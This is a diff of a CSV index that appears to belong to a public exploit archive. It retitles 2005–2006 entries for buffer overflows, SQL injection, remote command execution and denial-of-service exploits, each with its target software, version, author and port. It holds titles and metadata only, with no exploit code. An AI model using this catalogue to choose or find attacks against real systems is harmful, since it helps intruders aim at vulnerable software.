 804,platforms/windows/remote/804.c,"MSN Messenger PNG Image Buffer Overflow (linux compile)",2005-02-09,dgr,windows,remote,0
 805,platforms/multiple/remote/805.c,"ELOG <= 2.5.6 Remote Shell Exploit",2005-02-09,n4rk0tix,multiple,remote,8080
 806,platforms/linux/remote/806.c,"Prozilla <= 1.3.7.3 Remote Format String Exploit",2005-02-09,"Serkan Akpolat",linux,remote,8080
@@ -634,7 +634,7 @@ id,file,description,date,author,platform,type,port
 808,platforms/php/webapps/808.txt,"CMScore SQL Injection Exploit",2005-02-10,GHC,php,webapps,0
 809,platforms/php/webapps/809.txt,"Chipmunk Forums SQL Injection Exploit",2005-02-10,GHC,php,webapps,0
 810,platforms/windows/dos/810.c,"Armagetron Advanced <= 0.2.7.0 Server Crash Exploit",2005-02-10,"Luigi Auriemma",windows,dos,0
-811,platforms/windows/local/811.c,"DelphiTurk e-Posta v1.0 Local Exploit",2005-02-10,Kozan,windows,local,0
+811,platforms/windows/local/811.c,"DelphiTurk e-Posta 1.0 - Local Exploit",2005-02-10,Kozan,windows,local,0
 812,platforms/linux/remote/812.c,"Exim <= 4.43 auth_spa_server() Remote PoC Exploit",2005-02-12,"Yuri Gushin",linux,remote,25
 813,platforms/windows/dos/813.c,"Quake 3 Engine Infostring Crash and Shutdown Exploit",2005-02-12,"Luigi Auriemma",windows,dos,0
 814,platforms/php/webapps/814.txt,"MercuryBoard <= 1.1.1 Working Sql Injection",2005-02-12,Zeelock,php,webapps,0
@@ -663,7 +663,7 @@ id,file,description,date,author,platform,type,port
 838,platforms/multiple/dos/838.pl,"WebConnect 6.4.4 - 6.5 Directory Traversal and Denial of Service Exploit",2005-02-24,Karak0rsan,multiple,dos,0
 839,platforms/windows/local/839.cpp,"Avaya IP Office Phone Manager Local Password Disclosure Exploit",2005-02-24,"Adrian ""pagvac"" Pastor",windows,local,0
 840,platforms/cgi/webapps/840.c,"AWStats 5.7 - 6.2 Multiple Remote Exploit",2005-02-24,Silentium,cgi,webapps,0
-841,platforms/windows/dos/841.c,"Soldier of Fortune 2 <= 1.03 ""cl_guid"" Server Crash",2005-02-24,"Luigi Auriemma",windows,dos,0
+841,platforms/windows/dos/841.c,"Soldier of Fortune 2 <= 1.03 ""cl_guid"" - Server Crash",2005-02-24,"Luigi Auriemma",windows,dos,0
 842,platforms/linux/dos/842.c,"wu-ftpd <= 2.6.2 File Globbing Denial of Service Exploit",2005-02-25,str0ke,linux,dos,0
 843,platforms/windows/dos/843.c,"Knet <= 1.04c Buffer Overflow Denial of Service Exploit",2005-02-25,CorryL,windows,dos,0
 844,platforms/windows/local/844.asm,"eXeem 0.21 Local Password Disclosure Exploit (asm)",2005-02-26,illwill,windows,local,0
@@ -693,7 +693,7 @@ id,file,description,date,author,platform,type,port
 870,platforms/php/webapps/870.txt,"Download Center Lite (DCL) <= 1.5 Remote File Inclusion",2005-03-10,"Filip Groszynski",php,webapps,0
 871,platforms/php/webapps/871.txt,"phpBB <= 2.0.12 Session Handling Authentication Bypass (tutorial 2)",2005-03-11,Ali7,php,webapps,0
 872,platforms/php/webapps/872.pl,"SocialMPN Arbitrary File Injection Exploit",2005-03-11,y3dips,php,webapps,0
-873,platforms/php/webapps/873.txt,"phpDEV5 Remote Default Insecure Users Vuln",2005-03-11,Ali7,php,webapps,0
+873,platforms/php/webapps/873.txt,"phpDEV5 - Remote Default Insecure Users Vuln",2005-03-11,Ali7,php,webapps,0
 874,platforms/windows/dos/874.cpp,"Ethereal <= 0.10.9 ""3G-A11"" Remote Buffer Overflow Exploit (2)",2005-03-12,"Leon Juranic",windows,dos,0
 875,platforms/windows/remote/875.c,"Sentinel LM 7.x UDP License Service Remote Buffer Overflow Exploit",2005-03-13,class101,windows,remote,5093
 876,platforms/linux/local/876.c,"PaX Double-Mirrored VMA munmap Local Root Exploit",2005-03-14,"Christophe Devine",linux,local,0
@@ -708,7 +708,7 @@ id,file,description,date,author,platform,type,port
 885,platforms/windows/local/885.cpp,"iPool <= 1.6.81 Local Password Disclosure Exploit",2005-03-16,Kozan,windows,local,0
 886,platforms/windows/dos/886.pl,"PlatinumFTP <= 1.0.18 Multiple Remote Denial of Service Exploit",2005-03-17,ports,windows,dos,0
 887,platforms/windows/dos/887.py,"MailEnable 1.8 Remote Format String Denial of Service Exploit",2005-03-17,"Tal Zeltzer",windows,dos,0
-888,platforms/windows/dos/888.txt,"phpDEV5 System-Call Local Denial of Service Exploit",2005-03-17,Ali7,windows,dos,0
+888,platforms/windows/dos/888.txt,"phpDEV5 - System-Call Local Denial of Service Exploit",2005-03-17,Ali7,windows,dos,0
 889,platforms/php/webapps/889.pl,"phpBB <= 2.0.12 Change User Rights Authentication Bypass",2005-03-21,Kutas,php,webapps,0
 890,platforms/linux/local/890.pl,"PostScript Utilities - psnup Argument Buffer Overflow",2005-03-21,lammat,linux,local,0
 891,platforms/windows/dos/891.pl,"MCPWS Personal WebServer <= 1.3.21 Denial of Service Exploit",2005-03-21,"Nico Spicher",windows,dos,0
@@ -740,8 +740,8 @@ id,file,description,date,author,platform,type,port
 919,platforms/windows/local/919.c,"FireFly 1.0 Local Proxy Password Disclosure Exploit",2005-04-07,Kozan,windows,local,0
 920,platforms/windows/local/920.c,"P2P Share Spy 2.2 Local Password Disclosure Exploit",2005-04-07,Kozan,windows,local,0
 921,platforms/php/webapps/921.sh,"PHP-Nuke 6.x - 7.6 Top module Remote Sql Injection Exploit (working)",2005-04-07,"Fabrizi Andrea",php,webapps,0
-922,platforms/cgi/webapps/922.pl,"The Includer CGI <= 1.0 Remote Command Execution (new version)",2005-04-08,GreenwooD,cgi,webapps,0
-923,platforms/cgi/webapps/923.pl,"The Includer CGI <= 1.0 Remote Command Execution (new version2)",2005-04-08,K-C0d3r,cgi,webapps,0
+922,platforms/cgi/webapps/922.pl,"The Includer CGI <= 1.0 - Remote Command Execution (version 1)",2005-04-08,GreenwooD,cgi,webapps,0
+923,platforms/cgi/webapps/923.pl,"The Includer CGI <= 1.0 - Remote Command Execution (2)",2005-04-08,K-C0d3r,cgi,webapps,0
 924,platforms/linux/local/924.c,"sash <= 3.7 Local Buffer Overflow Exploit",2005-04-08,lammat,linux,local,0
 925,platforms/asp/webapps/925.txt,"ACNews <= 1.0 Admin Authentication Bypass SQL Injection Exploit",2005-04-09,LaMeR,asp,webapps,0
 926,platforms/linux/local/926.c,"Linux Kernel 2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)",2005-10-26,qobaiashi,linux,local,0
@@ -766,7 +766,7 @@ id,file,description,date,author,platform,type,port
 945,platforms/windows/remote/945.c,"PMSoftware Simple Web Server (GET Request) Remote BoF Exploit",2005-04-24,cybertronic,windows,remote,80
 946,platforms/multiple/dos/946.c,"PostgreSQL <= 8.01 Remote Reboot Denial of Service Exploit",2005-04-19,ChoiX,multiple,dos,0
 947,platforms/windows/remote/947.pl,"MS Exchange Server Remote Code Execution Exploit (MS05-021)",2005-04-19,"Evgeny Pinchuk",windows,remote,25
-948,platforms/multiple/dos/948.c,"Multiple OS (win32/aix/cisco) Crafted ICMP Messages DoS Exploit",2005-04-20,houseofdabus,multiple,dos,0
+948,platforms/multiple/dos/948.c,"Multiple OS (Win32/Aix/Cisco) - Crafted ICMP Messages DoS Exploit",2005-04-20,houseofdabus,multiple,dos,0
 949,platforms/windows/remote/949.c,"PMsoftware Simple Web Server 1.0 Remote Stack Overflow Exploit",2005-04-20,c0d3r,windows,remote,80
 950,platforms/linux/local/950.c,"BitchX <= 1.0c20 Local Buffer Overflow Exploit",2005-04-21,sk,linux,local,0
 951,platforms/windows/local/951.py,"MS Jet Database (msjet40.dll) Reverse Shell Exploit",2005-04-22,"Jean Luc",windows,local,0
@@ -810,7 +810,7 @@ id,file,description,date,author,platform,type,port
 997,platforms/linux/local/997.sh,"Linux Mandrake <= 10.2 cdrdao Local Root Exploit (unfixed)",2005-05-17,newbug,linux,local,0
 998,platforms/linux/dos/998.c,"Linux Kernel <= 2.6.12-rc4 (ioctl_by_bdev) Local Denial of Service Exploit",2005-05-17,alert7,linux,dos,0
 999,platforms/linux/dos/999.c,"Gaim <= 1.2.1 URL Handling Remote Stack Overflow Exploit",2005-05-17,Ron,linux,dos,0
-1000,platforms/windows/dos/1000.cpp,"MS Windows XP/2003 IPv6 Remote Denial of Service Exploit",2005-05-17,"Konrad Malewski",windows,dos,0
+1000,platforms/windows/dos/1000.cpp,"MS Windows XP/2003 - IPv6 Remote Denial of Service Exploit",2005-05-17,"Konrad Malewski",windows,dos,0
 1001,platforms/aix/local/1001.txt,"AIX 5.1 Bellmail Local Race Condition Exploit (Instructions w/ Exploit)",2005-05-19,watercloud,aix,local,0
 1003,platforms/php/webapps/1003.c,"Fusion SBX <= 1.2 Remote Command Execution Exploit",2005-05-20,Silentium,php,webapps,0
 1004,platforms/cgi/webapps/1004.php,"WebAPP v0.9.9.2.1 Remote Command Execution Exploit (2nd updated)",2005-05-20,Nikyt0x,cgi,webapps,0
@@ -912,7 +912,7 @@ id,file,description,date,author,platform,type,port
 1103,platforms/php/webapps/1103.txt,"phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit (cookie grabber)",2005-07-13,"Sjaak Rake",php,webapps,0
 1104,platforms/windows/dos/1104.cpp,"MS Windows Netman Service Local Denial of Service Exploit",2005-07-14,bkbll,windows,dos,0
 1105,platforms/windows/dos/1105.c,"NetPanzer <= 0.8 Remote Denial of Service Exploit",2005-07-14,"Luigi Auriemma",windows,dos,0
-1106,platforms/php/webapps/1106.txt,"e107 <= 0.617 XSS Remote Cookie Disclosure Exploit",2005-07-14,Warlord,php,webapps,0
+1106,platforms/php/webapps/1106.txt,"e107 <= 0.617 - XSS Remote Cookie Disclosure Exploit",2005-07-14,Warlord,php,webapps,0
 1107,platforms/windows/dos/1107.pl,"Remote Control Server 1.6.2 Denial of Service Exploit",2005-07-15,basher13,windows,dos,0
 1108,platforms/windows/remote/1108.pl,"Small HTTP Server <= 3.05.28 Arbitrary Data Execution Exploit",2005-07-15,basher13,windows,remote,0
 1109,platforms/windows/dos/1109.pl,"DzSoft PHP Editor <= 3.1.2.8 Denial of Service Exploit",2005-07-15,basher13,windows,dos,0
@@ -943,13 +943,13 @@ id,file,description,date,author,platform,type,port
 1138,platforms/linux/remote/1138.c,"nbSMTP <= 0.99 (util.c) Client-Side Command Execution Exploit",2005-08-05,CoKi,linux,remote,0
 1139,platforms/linux/remote/1139.c,"Ethereal 10.x AFP Protocol Dissector Remote Format String Exploit",2005-08-06,vade79,linux,remote,0
 1140,platforms/php/webapps/1140.php,"Flatnuke <= 2.5.5 Remote Code Execution",2005-08-08,rgod,php,webapps,0
-1142,platforms/php/webapps/1142.php,"Wordpress <= 1.5.1.3 Remote Code Execution 0-Day Exploit",2005-08-09,Kartoffelguru,php,webapps,0
+1142,platforms/php/webapps/1142.php,"Wordpress <= 1.5.1.3 - Remote Code Execution 0Day",2005-08-09,Kartoffelguru,php,webapps,0
 1143,platforms/windows/dos/1143.sys,"MS Windows XP SP2 (rdpwd.sys) Remote Kernel DoS Exploit",2005-08-09,"Tom Ferris",windows,dos,0
 1144,platforms/windows/remote/1144.html,"MS Internet Explorer (blnmgr.dll) COM Object Remote Exploit (MS05-038)",2005-08-09,FrSIRT,windows,remote,0
 1145,platforms/php/webapps/1145.pm,"Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit)",2005-08-10,str0ke,php,webapps,0
 1146,platforms/windows/remote/1146.c,"MS Windows Plug-and-Play Service Remote Overflow (MS05-039)",2005-08-11,sl0ppy,windows,remote,139
 1147,platforms/windows/remote/1147.pm,"Veritas Backup Exec Remote File Access Exploit (windows)",2005-08-11,n/a,windows,remote,10000
-1149,platforms/windows/remote/1149.c,"MS Windows Plug-and-Play Service Remote  Universal Exploit (MS05-039)",2005-08-12,houseofdabus,windows,remote,445
+1149,platforms/windows/remote/1149.c,"MS Windows Plug-and-Play Service Remote Universal Exploit (MS05-039)",2005-08-12,houseofdabus,windows,remote,445
 1150,platforms/windows/remote/1150.pm,"ZENworks 6.5 Desktop/Server Management Remote Stack Overflow",2005-08-12,n/a,windows,remote,1761
 1151,platforms/windows/remote/1151.pm,"MDaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow Exploit",2005-08-12,n/a,windows,remote,143
 1152,platforms/windows/remote/1152.pm,"Novell eDirectory 8.7.3 iMonitor Remote Stack Overflow",2005-08-12,n/a,windows,remote,8008
@@ -964,8 +964,8 @@ id,file,description,date,author,platform,type,port
 1162,platforms/windows/dos/1162.pl,"GoodTech SMTP Server <= 5.14 Denial of Service Exploit",2005-06-07,"Reed Arvin",windows,dos,0
 1163,platforms/windows/dos/1163.pl,"IA eMailServer Corporate Edition Version <= 5.2.2 DoS Exploit",2005-06-26,"Reed Arvin",windows,dos,0
 1164,platforms/windows/dos/1164.pl,"BusinessMail <= 4.60.00 Remote Buffer Overflow Exploit",2005-07-30,"Reed Arvin",windows,dos,0
-1165,platforms/windows/dos/1165.pl,"Inframail Advantage Server Edition 6.0 <= 6.37 (SMTP) BoF Exploit",2005-06-27,"Reed Arvin",windows,dos,0
-1166,platforms/windows/dos/1166.pl,"Inframail Advantage Server Edition 6.0 <= 6.37 (FTP) BoF Exploit",2005-06-27,"Reed Arvin",windows,dos,0
+1165,platforms/windows/dos/1165.pl,"Inframail Advantage Server Edition 6.0 <= 6.37 - (SMTP) BoF Exploit",2005-06-27,"Reed Arvin",windows,dos,0
+1166,platforms/windows/dos/1166.pl,"Inframail Advantage Server Edition 6.0 <= 6.37 - (FTP) BoF Exploit",2005-06-27,"Reed Arvin",windows,dos,0
 1167,platforms/solaris/remote/1167.pm,"Solaris <= 10 LPD Arbitrary File Delete Exploit (metasploit)",2005-08-19,Optyx,solaris,remote,0
 1168,platforms/windows/local/1168.c,"WinAce 2.6.0.5 Temporary File Parsing Buffer Overflow Vulnerability",2005-08-19,ATmaCA,windows,local,0
 1170,platforms/linux/local/1170.c,"Debian 2.2 /usr/bin/pileup Local Root Exploit",2001-07-13,"Charles Stevenson",linux,local,0
@@ -1016,7 +1016,7 @@ id,file,description,date,author,platform,type,port
 1221,platforms/php/webapps/1221.php,"CuteNews <= 1.4.0 (shell inject) Remote Command Execution Exploit",2005-09-17,rgod,php,webapps,0
 1222,platforms/windows/dos/1222.pl,"MCCS (Multi-Computer Control Systems) Command DoS Exploit",2005-09-19,basher13,windows,dos,0
 1223,platforms/windows/remote/1223.c,"Mercury Mail <= 4.01a (Pegasus) IMAP Buffer Overflow Exploit",2005-09-20,c0d3r,windows,remote,143
-1224,platforms/windows/remote/1224.html,"Mozilla Browsers 0xAD (HOST:) Remote Heap Buffer Overrun Exploit (v2)",2005-09-22,SkyLined,windows,remote,0
+1224,platforms/windows/remote/1224.html,"Mozilla Browsers 0xAD (HOST:) Remote Heap Buffer Overrun Exploit (2)",2005-09-22,SkyLined,windows,remote,0
 1225,platforms/php/webapps/1225.php,"My Little Forum <= 1.5 (searchstring) SQL Injection Exploit",2005-09-22,rgod,php,webapps,0
 1226,platforms/php/webapps/1226.php,"phpMyFAQ <= 1.5.1 (User-Agent) Remote Shell Injection Exploit",2005-09-23,rgod,php,webapps,0
 1227,platforms/php/webapps/1227.php,"MailGust <= 1.9 (board takeover) SQL Injection Exploit",2005-09-24,rgod,php,webapps,0
@@ -1048,7 +1048,7 @@ id,file,description,date,author,platform,type,port
 1255,platforms/windows/dos/1255.html,"Opera <= 8.02 Remote Denial of Service Exploit (2)",2005-10-16,posidron,windows,dos,0
 1256,platforms/multiple/dos/1256.pl,"Lynx <= 2.8.6dev.13 Remote Buffer Overflow Exploit (PoC)",2005-10-17,"Ulf Harnhammar",multiple,dos,0
 1257,platforms/multiple/dos/1257.html,"Mozilla (Firefox <= 1.0.7) (Mozilla <= 1.7.12) Denial of Service Exploit",2005-10-17,Kubbo,multiple,dos,0
-1258,platforms/linux/remote/1258.php,"e107 <= 0.6172 (resetcore.php) Remote SQL Injection Exploit",2005-10-18,rgod,linux,remote,0
+1258,platforms/linux/remote/1258.php,"e107 <= 0.6172 - (resetcore.php) Remote SQL Injection Exploit",2005-10-18,rgod,linux,remote,0
 1259,platforms/hp-ux/remote/1259.pm,"HP-UX FTP Server Preauthentication Directory Listing Exploit (meta)",2005-10-19,Optyx,hp-ux,remote,0
 1260,platforms/windows/remote/1260.pm,"MS Windows IIS SA WebAgent 5.2/5.3 Redirect Overflow Exploit (meta)",2005-10-19,"H D Moore",windows,remote,80
 1261,platforms/hp-ux/remote/1261.pm,"HP-UX <= 11.11 lpd Remote Command Execution Exploit (meta)",2005-10-19,"H D Moore",hp-ux,remote,515
@@ -1057,21 +1057,21 @@ id,file,description,date,author,platform,type,port
 1264,platforms/windows/remote/1264.pl,"Veritas NetBackup <= 6.0 (bpjava-msvc) Remote Exploit (win32)",2005-10-20,"Kevin Finisterre",windows,remote,13722
 1265,platforms/osx/remote/1265.pl,"Veritas NetBackup <= 6.0 (bpjava-msvc) Remote Exploit (OS X)",2005-10-20,"Kevin Finisterre",osx,remote,13722
 1266,platforms/windows/dos/1266.py,"Ethereal 0.9.1 - 0.10.12 SLIMP3 Remote Buffer Overflow PoC",2005-10-20,Sowhat,windows,dos,0
-1267,platforms/linux/local/1267.c,"XMail 1.21 (-t Command Line Option) Local Root                   Buffer Overflow Exploit",2005-10-20,qaaz,linux,local,0
+1267,platforms/linux/local/1267.c,"XMail 1.21 (-t Command Line Option) Local Root Buffer Overflow Exploit",2005-10-20,qaaz,linux,local,0
 1268,platforms/multiple/dos/1268.pl,"Net Portal Dynamic System <= 5.0 (register users) Denial of Service",2005-10-21,DarkFig,multiple,dos,0
 1269,platforms/windows/dos/1269.c,"MS Windows Plug-and-Play (Umpnpmgr.dll) DoS Exploit (MS05-047)",2005-10-21,n/a,windows,dos,0
 1270,platforms/php/webapps/1270.php,"PHP-Nuke 7.8 SQL Injection / Remote Command Execution Exploit",2005-10-23,rgod,php,webapps,0
 1271,platforms/windows/dos/1271.c,"MS Windows Plug-and-Play (Umpnpmgr.dll) DoS Exploit (MS05-047) (2)",2005-10-24,"Winny Thomas",windows,dos,0
 1272,platforms/linux/remote/1272.c,"Snort <= 2.4.2 Back Orifice Parsing Remote Buffer Overflow Exploit",2005-10-25,rd,linux,remote,0
 1273,platforms/php/webapps/1273.pl,"TClanPortal <= 1.1.3 (id) Remote SQL Injection Exploit",2005-10-26,Devil-00,php,webapps,0
-1274,platforms/hardware/dos/1274.c,"Hasbani-WindWeb/2.0 - HTTP GET  Remote DoS",2005-10-27,Expanders,hardware,dos,0
+1274,platforms/hardware/dos/1274.c,"Hasbani-WindWeb/2.0 - HTTP GET Remote DoS",2005-10-27,Expanders,hardware,dos,0
 1276,platforms/windows/dos/1276.html,"MS Internet Explorer 6.0 (mshtmled.dll) Denial of Service Exploit",2005-10-28,"Tom Ferris",windows,dos,0
 1277,platforms/windows/remote/1277.c,"Mirabilis ICQ 2003a Buffer Overflow Download Shellcoded Exploit",2005-10-29,ATmaCA,windows,remote,0
 1278,platforms/php/webapps/1278.pl,"Subdreamer 2.2.1 SQL Injection / Command Execution Exploit",2005-10-31,RusH,php,webapps,0
 1279,platforms/windows/remote/1279.pm,"Snort <= 2.4.2 BackOrifice Remote Buffer Overflow Exploit (meta)",2005-11-01,"Trirat Puttaraksa",windows,remote,0
 1280,platforms/php/webapps/1280.pl,"VuBB Forum RC1 (m) Remote SQL Injection Exploit",2005-11-02,Devil-00,php,webapps,0
 1281,platforms/windows/dos/1281.c,"Battle Carry <= .005 Socket Termination Denial of Service Exploit",2005-11-02,"Luigi Auriemma",windows,dos,0
-1282,platforms/windows/dos/1282.c,"Blitzkrieg 2 <= 1.21 (server/client) Denial of Service Exploit",2005-11-02,"Luigi Auriemma",windows,dos,0
+1282,platforms/windows/dos/1282.c,"Blitzkrieg 2 <= 1.21 - (server/client) Denial of Service Exploit",2005-11-02,"Luigi Auriemma",windows,dos,0
 1283,platforms/windows/dos/1283.c,"FlatFrag <= 0.3 Buffer Overflow / Denial of Service Exploit",2005-11-02,"Luigi Auriemma",windows,dos,0
 1284,platforms/windows/dos/1284.c,"Glider collectn kill <= 1.0.0.0 Buffer Overflow (PoC)",2005-11-02,"Luigi Auriemma",windows,dos,0
 1285,platforms/windows/dos/1285.c,"Scorched 3D <= 39.1 Multiple Vulnerabilities (All-in-One) (PoC)",2005-11-02,"Luigi Auriemma",windows,dos,0
@@ -1089,7 +1089,7 @@ id,file,description,date,author,platform,type,port
 1299,platforms/linux/local/1299.sh,"SuSE Linux <= 9.3, 10 (chfn) Local Root Privilege Escalation Exploit",2005-11-08,Hunger,linux,local,0
 1300,platforms/linux/local/1300.sh,"Operator Shell (osh) 1.7-14 Local Root Exploit",2005-11-09,"Charles Stevenson",linux,local,0
 1310,platforms/linux/local/1310.txt,"Sudo <= 1.6.8p9 (SHELLOPTS/PS4 ENV variables) Local Root Exploit",2005-11-09,"Breno Silva Pinto",linux,local,0
-1311,platforms/bsd/local/1311.c,"FreeBSD (4.x , < 5.4)  master.passwd Disclosure Exploit",2005-11-09,Kingcope,bsd,local,0
+1311,platforms/bsd/local/1311.c,"FreeBSD (4.x , < 5.4) master.passwd Disclosure Exploit",2005-11-09,Kingcope,bsd,local,0
 1312,platforms/php/webapps/1312.php,"Moodle <= 1.6dev SQL Injection / Command Execution Exploit",2005-11-10,rgod,php,webapps,0
 1313,platforms/windows/remote/1313.c,"Snort <= 2.4.2 Back Orifice Pre-Preprocessor Remote Exploit (3)",2005-11-11,xort,windows,remote,0
 1314,platforms/linux/remote/1314.rb,"Snort <= 2.4.2 Back Orifice Pre-Preprocessor Remote Exploit (4)",2005-11-11,xwings,linux,remote,0
@@ -1148,7 +1148,7 @@ id,file,description,date,author,platform,type,port
 1376,platforms/windows/dos/1376.c,"MS Windows IIS Malformed HTTP Request Denial of Service Exploit (c)",2005-12-19,Kozan,windows,dos,0
 1377,platforms/windows/dos/1377.pl,"MS Windows IIS Malformed HTTP Request Denial of Service Exploit (pl)",2005-12-19,kokanin,windows,dos,0
 1378,platforms/windows/remote/1378.py,"MailEnable Enterprise Edition 1.1 (EXAMINE) Buffer Overflow Exploit",2005-12-19,muts,windows,remote,0
-1379,platforms/php/webapps/1379.php,"PHPGedView <= 3.3.7 Arbitrary Remote Code Execution  Exploit",2005-12-20,rgod,php,webapps,0
+1379,platforms/php/webapps/1379.php,"PHPGedView <= 3.3.7 Arbitrary Remote Code Execution Exploit",2005-12-20,rgod,php,webapps,0
 1380,platforms/windows/remote/1380.py,"Eudora Qualcomm WorldMail 3.0 (IMAPd) Remote Overflow Exploit",2005-12-20,muts,windows,remote,143
 1381,platforms/windows/remote/1381.pm,"Golden FTP Server <= 1.92 (APPE) Remote Overflow Exploit (meta)",2005-12-20,redsand,windows,remote,21
 1382,platforms/php/webapps/1382.pl,"phpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool (updated)",2006-02-20,DarkFig,php,webapps,0
@@ -1164,7 +1164,7 @@ id,file,description,date,author,platform,type,port
 1396,platforms/windows/dos/1396.cpp,"MS Windows IIS Malformed HTTP Request Denial of Service Exploit (cpp)",2005-12-29,Lympex,windows,dos,0
 1397,platforms/linux/local/1397.c,"Linux Kernel <= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)",2005-12-30,alert7,linux,local,0
 1398,platforms/php/webapps/1398.pl,"CubeCart <= 3.0.6 Remote Command Execution Exploit",2005-12-30,cijfer,php,webapps,0
-1399,platforms/asp/webapps/1399.txt,"WebWiz Products (1.0 , <= 3.06) Login Bypass SQL Injection Exploits",2005-12-30,DevilBox,asp,webapps,0
+1399,platforms/asp/webapps/1399.txt,"WebWiz Products (1.0 , <= 3.06) - Login Bypass SQL Injection Exploits",2005-12-30,DevilBox,asp,webapps,0
 1400,platforms/php/webapps/1400.pl,"CuteNews <= 1.4.1 (categories.mdu) Remote Command Execution Exploit",2006-01-01,cijfer,php,webapps,0
 1401,platforms/php/webapps/1401.pl,"Valdersoft Shopping Cart <= 3.0 Remote Command Execution Exploit",2006-01-03,cijfer,php,webapps,0
 1402,platforms/sco/local/1402.c,"SCO Openserver 5.0.7 (termsh) Local Privilege Escalation Exploit",2006-01-03,prdelka,sco,local,0
@@ -1202,9 +1202,9 @@ id,file,description,date,author,platform,type,port
 1455,platforms/windows/local/1455.txt,"Oracle Database Server 9i/10g (XML) Buffer Overflow Exploit",2006-01-26,Argeniss,windows,local,0
 1456,platforms/linux/remote/1456.c,"SHOUTcast <= 1.9.4 File Request Format String Exploit (Leaked)",2006-01-28,crash-x,linux,remote,8000
 1457,platforms/php/webapps/1457.txt,"phpBB <= 2.0.19 XSS Remote Cookie Disclosure Exploit",2006-01-29,threesixthousan,php,webapps,0
-1458,platforms/windows/remote/1458.cpp,"Winamp <= 5.12 (Crafted PLS) Remote Buffer Overflow Exploit (0-Day)",2006-01-29,ATmaCA,windows,remote,0
+1458,platforms/windows/remote/1458.cpp,"Winamp <= 5.12 - (.pls) Remote Buffer Overflow Exploit (0Day)",2006-01-29,ATmaCA,windows,remote,0
 1459,platforms/php/webapps/1459.pl,"xeCMS 1.0.0 RC 2 (cookie) Remote Command Execution Exploit",2006-01-30,cijfer,php,webapps,0
-1460,platforms/windows/remote/1460.pm,"Winamp <= 5.12 (Crafted PLS) Remote Buffer Overflow Exploit (meta)",2006-01-31,"H D Moore",windows,remote,0
+1460,platforms/windows/remote/1460.pm,"Winamp <= 5.12 - (.pls) Remote Buffer Overflow Exploit (meta)",2006-01-31,"H D Moore",windows,remote,0
 1461,platforms/php/webapps/1461.pl,"Invision Power Board Dragoran Portal Mod <= 1.3 SQL Injection Exploit",2006-01-31,SkOd,php,webapps,0
 1462,platforms/windows/remote/1462.cpp,"Sami FTP Server 2.0.1 Remote Buffer Overflow Exploit (cpp)",2006-01-31,HolyGhost,windows,remote,21
 1463,platforms/windows/remote/1463.pm,"SoftiaCom WMailserver 1.0 SMTP Remote Buffer Overflow Exploit (meta)",2006-02-01,y0,windows,remote,21
@@ -1226,7 +1226,7 @@ id,file,description,date,author,platform,type,port
 1481,platforms/qnx/local/1481.sh,"QNX RTOS 6.3.0 Insecure rc.local Permissions Plus System Crash Exploit",2006-02-08,kokanin,qnx,local,0
 1482,platforms/php/webapps/1482.php,"SPIP <= 1.8.2g Remote Commands Execution Exploit",2006-02-08,rgod,php,webapps,0
 1483,platforms/multiple/dos/1483.pl,"Half-Life CSTRIKE Server <= 1.6 (non steam) Denial of Service Exploit",2006-02-11,Firestorm,multiple,dos,0
-1484,platforms/php/webapps/1484.php,"FCKEditor 2.0 <= 2.2 (connector.php) Remote Shell Upload Exploit",2006-02-09,rgod,php,webapps,0
+1484,platforms/php/webapps/1484.php,"FCKEditor 2.0 <= 2.2 (connector.php) - Remote Shell Upload Exploit",2006-02-09,rgod,php,webapps,0
 1485,platforms/php/webapps/1485.php,"RunCMS <= 1.2 (class.forumposts.php) Arbitrary Remote Inclusion Exploit",2006-02-09,rgod,php,webapps,0
 1486,platforms/linux/remote/1486.c,"Power Daemon <= 2.0.2 (WHATIDO) Remote Format String Exploit",2006-02-10,"Gotfault Security",linux,remote,532
 1487,platforms/linux/remote/1487.c,"OpenVMPSd <= 1.3 Remote Format String Exploit (Multiple Targets)",2006-02-10,"Gotfault Security",linux,remote,1589
@@ -1241,9 +1241,9 @@ id,file,description,date,author,platform,type,port
 1496,platforms/hardware/dos/1496.c,"D-Link Wireless Access Point (Fragmented UDP) DoS Exploit",2006-02-14,"Aaron Portnoy",hardware,dos,0
 1498,platforms/php/webapps/1498.php,"webSPELL <= 4.01 (title_op) Remote SQL Injection Exploit",2006-02-14,x128,php,webapps,0
 1499,platforms/php/webapps/1499.pl,"MyBulletinBoard (MyBB) <= 1.03 Multiple SQL Injection Exploit",2006-02-15,"HACKERS PAL",php,webapps,0
-1500,platforms/windows/dos/1500.cpp,"Windows Media Player 7.1 <= 10 BMP Heap Overflow PoC (MS06-005)",2006-02-15,ATmaCA,windows,dos,0
+1500,platforms/windows/dos/1500.cpp,"Windows Media Player 7.1 <= 10 - BMP Heap Overflow PoC (MS06-005)",2006-02-15,ATmaCA,windows,dos,0
 1501,platforms/php/webapps/1501.php,"PHPKIT <= 1.6.1R2 (filecheck) Remote Commands Execution Exploit",2006-02-16,rgod,php,webapps,0
-1502,platforms/windows/remote/1502.py,"Windows Media Player 7.1 <= 10 BMP Heap Overflow PoC (MS06-005) (2)",2006-02-16,redsand,windows,remote,0
+1502,platforms/windows/remote/1502.py,"Windows Media Player 7.1 <= 10 - BMP Heap Overflow PoC (MS06-005) (2)",2006-02-16,redsand,windows,remote,0
 1503,platforms/php/webapps/1503.pl,"YapBB <= 1.2 (cfgIncludeDirectory) Remote Command Execution Exploit",2006-02-16,cijfer,php,webapps,0
 1504,platforms/windows/remote/1504.pm,"MS Windows Media Player 9 Plugin Overflow Exploit (MS06-006) (meta)",2006-02-17,"H D Moore",windows,remote,0
 1505,platforms/windows/remote/1505.html,"MS Windows Media Player 10 Plugin Overflow Exploit (MS06-006)",2006-02-17,"Matthew Murphy",windows,remote,0
@@ -1256,7 +1256,7 @@ id,file,description,date,author,platform,type,port
 1513,platforms/php/webapps/1513.php,"BXCP <= 0.2.9.9 (tid) Remote SQL Injection Exploit",2006-02-19,x128,php,webapps,0
 1514,platforms/asp/webapps/1514.pl,"MiniNuke <= 1.8.2b (pages.asp) Remote SQL Injection Exploit",2006-02-19,nukedx,asp,webapps,0
 1515,platforms/php/webapps/1515.pl,"GeekLog 1.* (error.log) Remote Commands Execution Exploit (gpc = Off)",2006-02-20,rgod,php,webapps,0
